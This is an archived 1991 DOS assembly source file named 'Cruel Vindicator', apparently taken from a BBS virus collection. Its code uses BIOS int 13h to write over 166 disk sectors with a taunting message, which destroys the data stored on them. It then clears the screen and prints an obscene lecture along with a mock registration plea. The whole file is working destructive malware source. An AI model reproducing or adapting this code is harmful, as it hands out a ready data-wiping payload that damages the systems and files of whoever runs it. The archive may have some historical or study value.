home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / cv1_0.asm < prev    next >
Assembly Source File  |  1991-02-02  |  2KB  |  59 lines

  1. ; Program Cruel Vindicator
  2. ; Input      none
  3. ; Output  Destruction
  4.  
  5.       DOSSEG
  6.       .MODEL  small
  7.  
  8.       .STACK  100h
  9.  
  10. DATA      SEGMENT DATA
  11.           FUCKHIM  db           'Uh oh, looks like you''ve been infected.  Who knows, you may be able to repair the damage...  Nah!  '
  12.           Lecture1 db           'You are a totally infantile, small-minded, anal-retentive prick, suffering from chronic penis envy for wanting viruses to infect other systems.  I am glad we could demonstrate the virus concept on your system.  '
  13.           Lecture2 db           'If you have found this program to be useful, please send $10 to MacCafee Assoc. for its registration.  New versions will be available for a discount to registered users.'
  14. DATA      ENDS
  15.  
  16. CODE      SEGMENT CODE
  17.           Main    PROC
  18. start:      mov      ax,@DATA               ;Initialize data segment
  19.           mov     ds,ax
  20.       mov      es,ax                  ;Point segments to addresses
  21.           lea     bx, FUCKHIM            ;Get address of FUCKHIM
  22.           mov     ah,03h                 ;Write sector from buffer
  23.           mov     al,166d                ;Number of sectors to write
  24.           mov     ch,00                  ;Track(use high bits on cl for fixed disk)
  25.           mov     cl,01                  ;Sector to initiate write
  26.           mov     dh,00                  ;Head to write with
  27.           mov     dl,02                  ;Drive to write to
  28.           int     13h                    ;Access Disk
  29.  
  30.           mov     ah,06                  ;Write to video
  31.           mov     al,25d                 ;Number of lines to scroll
  32.           mov     bh,03                  ;Attribute of scroll(color)
  33.           mov     ch,0                   ;Window coords
  34.           mov     cl,0
  35.           mov     dh,25d
  36.           mov     dl,79d
  37.           int     10h                    ;Scroll up
  38.  
  39.           mov     ah,13h
  40.           mov     al,0
  41.           mov     bh,0
  42.           mov     dh,0ah
  43.           mov     dl,0
  44.           mov     cx,380d
  45.           lea     bp,Lecture1
  46.           mov     bl,2
  47.           int     10h
  48.           mov     ax,4c00h
  49.           int     21h
  50.           Main    ENDP
  51. CODE      ENDS
  52.  
  53.  
  54.  
  55.  
  56.  
  57.  
  58.  
  59.